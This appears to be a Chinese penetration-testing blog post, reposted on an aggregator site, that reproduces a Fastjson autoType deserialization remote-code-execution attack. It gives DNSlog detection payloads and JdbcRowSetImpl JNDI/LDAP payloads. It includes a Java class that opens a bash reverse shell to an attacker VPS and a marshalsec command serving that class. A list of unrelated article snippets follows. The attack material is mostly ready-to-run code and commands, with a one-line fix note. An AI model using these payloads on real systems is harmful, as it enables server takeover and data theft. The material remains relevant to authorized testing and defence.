Fastjson反序列化漏洞复现(实战案例)

漏洞介绍

FastJson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

通俗理解就是:漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响。

前言

以下为有授权测试,未经授权,千万不要触碰法律。

拿到项目后找到了一个后台登录的页面,然后尝试弱口令(yyds)无果

抓包尝试是否存在注入,这里看到是json请求,就尝试去构造或者破坏原有的json请求,从返回的数据包中可以看到有fastjson字样,如果没有报错回显,就使用dnslog进行验证(后面会说到)。

尝试是否存在fastjson反序列化漏洞,构造以下payload看到了版本信息:

Set[{"@type":"java.net.URL","val":"http://dnslog"}]
Set[{"@type":"java.net.URL","val":"http://dnslog"}

 网上查了一下此版本存在漏洞

使用dnslog验证

payload

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://dnslog.cn/zcc","autoCommit":true}
}

 

验证成功,说明存在漏洞,这里也可以用到bp的插件,fastjson scan 一键检测,傻瓜操作,github自行搜索一下

反弹shell 

使用工具:GitHub - mbechler/marshalsec

vps下载完成后进入目录下进行编译

mvn clean package -DskipTests

(第一次自己进行编译,这个过程中遇到了很多问题,就不一一细说了,如果遇到问题的小伙伴多看报错信息,或者私信我也可以)大佬无视。

 编译完成生成了marshalsec-0.0.3-SNAPSHOT-all.jar

新开一个窗口监听端口

root目录下新建一个test.java文件,里面写入EXP源代码

// bash -i >& /dev/tcp/xx.xx.xx.xx/6666 0>&1    这里的ip是vps,以及vps监听的端口6666
import java.lang.Runtime;
import java.lang.Process;public class test {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/xx.xx.xx.xx/6666 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}

 javac编译生成test.class文件

 再新建一个窗口,启动http服务

python3 -m http.server 8445

 

本地访问一下,可以看到生成的class文件

vps启动LDAP服务,监听1389端口,并制定加载远程类

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://xx.xx.xx.xx:8445/#test" 1389

 

返回burp构造payload反弹shell,可以看到已经是root权限

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://vps:9999/xxx","autoCommit":true}
}

fastjson指纹信息

A.抓包改为POST方式,花括号不闭合,返回包就会出现fastjson字样,不过这个可以屏蔽,就用其他办法B.利用dnslog盲打
1.	利用java.net.Inet[4|6]Address
{"@type":"java.net.Inet4Address","val":"dnslog"} {"@type":"java.net.Inet6Address","val":"dnslog"}
2.	利用java.net.InetSocketAddress
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
3.	利用java.net.URL
{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
4.	其他变形
{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://dnslog”}}""} Set[{"@type":"java.net.URL","val":"http://dnslog"}] Set[{"@type":"java.net.URL","val":"http://dnslog"} {{"@type":"java.net.URL","val":"http://dnslog"}:0
1.2.67版本前
{"zeo":{"@type":"java.net.Inet4Address","val":"fatu5k.dnslog.cn"}}
1.2.67版本后payload
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}

修复建议

升级到官方最新版本!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358130.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SVN Error: Can‘t connect to host xxxxx‘: 由于目标计算机积极拒绝,无法连接,的最快解决办法

孙叫兽,前端全栈,微信公众号:电商程序员。如果本文对你有帮助,记得点赞关注,谢谢! 每次换个新电脑,新项目,新场地,新公司都有可能使用SVN下载老项目,有的是用内网&#x…

百度地图接口调用

当我们网站需要调用百度地图接口的时候,可以使用如下方法: 1.如何获取经纬度坐标 1.打开百度地图,在百度地图最底部找到“地图开放平台”链接。 2.进入“百度地图开放平台”网站中,在导航中选择“”开发文档>坐标拾取器“”…

信息安全系统设计基础第六周学习总结

第六章 存储器层次结构 存储器系统 是一个具有不同容量、成本和访问时间的存储设备的层次结构。 1.CPU寄存器:容量小,成本高,访问快 2.高速缓存存储器:CPU和主存之间的缓存区域 3.主存:磁盘上大容量,成本低…

phpStudy + PhpStorm + XDebug调试【绝对能用】

具体参照的是这篇文章:https://blog.csdn.net/weixin_40418199/article/details/79088365 文章有些地方说的不是很详细想重写整理下。 【PHPStudy演示的版本为:PHP5.4.45-Apache】 1.PHPStudy配置 PHPStudy自带了XDebug的扩展,不需要下载 php…

加密编码类型的密文特征分析

转载https://blog.csdn.net/weixin_45728976/article/details/109219997 MD5、sha1、HMAC算法、NTLM等相似加密类型 1、MD5——示例21232F297A57A5A743894A0E4A801FC3 一般MD5值是32位由数字“0-9”和字母“a-f”所组成的字符串,如图。如果出现这个范围以外的字符…

孙叫兽进阶之路之如何进行情绪管理

程序员不光有硬实力,更要有软实力。 程序员文武双全之道。 ---孙叫兽,前端全栈程序员,微信公众号:电商程序员。 情绪的作用,存在于我们每天的工作和生活中,无时不刻地影响着人们的思想和行为。如何控制和管…

javaone_JavaOne正在重建动力

javaone在JavaOne上度过了一个非常忙碌的一周,今年的活动有很多让人喜欢的地方。 有很多惊喜的公告,很多很好的内容/会议,并且在场地和组织上都有很多改进。 对于一直耐心等待我发表所有演讲的人们,我为您的延迟表示歉意……给4个…

夜神模拟器安装证书之burp抓包

安装步骤 1.http 不需要安装证书即可抓app包 2.https 需要安装证书 一、设置burp代理 注意IP是本机下的ip 二、模拟器设置代理 点击wifi长按鼠标修改网络 三、导出CA证书 模拟器中进入http://burp页面,点击黄色的地方下载 下载证书,可以选择本…

接手一个项目,后缀名为.bak文件,原来它是这个意思

.bak是备份文件,为文件格式扩展bai名,这类文件一du般在.bak前面加上应该有zhi原来的扩展名比如windows.dll.bak,或是windows_dll.bak,有dao的则是由原文件的后缀名和bak混合而成,如proteus的备份文件为.DBK。很多软件,…

java大佬是如何快速配置IntelliJ IDEA的Tomcat及安装配置Tomcat及java开发环境

孙叫兽,前端全栈工程师,java工程师。编译器及工具可以在主页QQ群群文件获取。 JDK 可以到官网下载:http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html Tomcat下载:Http://tomcat.apache.org/ IntelliJ IDEA下载:https://www.jetbrain…

应急响应 WEB 分析日志攻击,后门木马(手动分析 和 自动化分析.)

转载文章:https://blog.csdn.net/weixin_54977781/article/details/124976164?spm1001.2100.3001.7377&utm_mediumdistribute.pc_feed_blog_category.none-task-blog-classify_tag-17-124976164-null-null.nonecase&depth_1-utm_sourcedistribute.pc_feed_…

thinkphp第一节结构

thinkphp 网站:http://thinkphp.cn 输入网址:localhost:8080/demo/ 则说明thinkphp安装成功 目录结构如下: application子目录结构: common:公用文件目录 home:Home模板 Runtime:记录运行信息 home目录下&a…

孙叫兽进阶之路之软件开发生命周期

孙叫兽,前端全栈开发工程师,java工程师。 软件开发生命周期:

常用的30+种未授权访问漏洞汇总

未授权访问漏洞汇总预览 1 、FTP 未授权访问(21) 2 、LDAP 未授权访问(389) 3 、Rsync 未授权访问(873) 4 、ZooKeeper 未授权访问(2181) 5 、Docker 未授权访问(2375&a…

孙叫兽进阶之路之敏捷开发

孙叫兽,前端全栈工程师,java工程师,技术交流请添加主页QQ群,微信公众号:电商程序员

四:理解Page类的运行机制(例:基于PageStatePersister的页面状态存取)

有人说类似gridview datalist这样的控件最好不要用在高并发,IO大的网站中企业应用中为了快速开发到可以用一用因为这是一类"沉重"的组件我们姑且不谈这种看法的正确性(我个人觉得有道理)只谈它为什么笨重:因为这些控件给页面带来了大量的viewstate<input type&quo…

Fiddler使用教程

一、简介及原理 1.1 Fiddler简介 Fiddler 是一个 HTTP 协议调试代理工具&#xff0c;它能够记录并检查所有你的电脑和互联网之间的 HTTP 通讯。Fiddler 提供了电脑端、移动端的抓包、包括 http 协议和 https 协议都可以捕获到报文并进行分析&#xff1b;可以设置断点调试、截取…

我是如何用JSP在网络上架构一个网上招标系统,以推进网站无纸化,过程电子化,管理智能化的发展

声明&#xff1a;部分代码参考与网络&#xff0c;如有侵权请联系博主删除&#xff0c;博主本着学习的态度和大家一起成长。 项目github地址&#xff1a;https://github.com/sunmenglei/sunmengleiwangshangzhaobiao/ 背景&#xff1a;从本世纪初&#xff0c;互联网开始加速发展…

我是如何使用git把本地代码上传到github上的,值得借鉴

背景&#xff1a;最近开发了一套招标系统&#xff0c;我是如何用JSP在网络上架构一个网上招标系统&#xff0c;以推进网站无纸化&#xff0c;过程电子化&#xff0c;管理智能化的发展。 使用git进行上传。 首先自己得有git工具及github账号&#xff0c;自己没有的提前准备一下。…

期中总结

期中总结&#xff1a; 第一章 计算机系统漫游 1.1 Linux基础 1.Linux命令 command [options] [arguments] //中括号代表是可选的&#xff0c;即有些命令不需要选项也不需要参数 选项&#xff08;options&#xff09;或参数&#xff08;arguments&#xff09; 选项是调整命令执…